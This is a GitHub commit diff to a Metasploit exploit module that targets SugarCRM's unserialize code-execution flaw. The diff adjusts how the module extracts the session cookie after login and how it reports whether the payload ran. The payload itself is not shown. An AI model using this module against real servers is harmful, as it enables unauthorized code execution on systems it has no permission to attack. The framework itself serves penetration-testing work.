Skip to content

Commit fefc3d0

Browse files
committed
Cookie fix and success display
Added handling for if the server doesn't correctly assign a cookie using Set-Cookie by changing the regex and doing an additional check. Also fixed the success display - changed the if statement to match others in this module and fixed the text output based on server response.
1 parent 32746e0 commit fefc3d0

File tree

1 file changed

+10
-4
lines changed

1 file changed

+10
-4
lines changed

modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -103,9 +103,13 @@ def exploit
103103
if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/
104104
session_id = $1
105105
else
106-
print_error("#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
107-
return
106+
if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/
107+
session_id = $1
108+
else
109+
print_error("#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
110+
return
108111
end
112+
end
109113

110114
print_status("#{peer} - Login successful with #{username}:#{password}")
111115

@@ -144,10 +148,12 @@ def exploit
144148
}
145149
})
146150

147-
if res
151+
if not res or res.code != 200
148152
print_error("#{peer} - Payload execution failed: #{res.code}")
149-
return
153+
else
154+
print_good("#{peer} - Payload Executed Successfuly: #{res.code}")
150155
end
151156

152157
end
153158
end
159+

0 commit comments

Comments
 (0)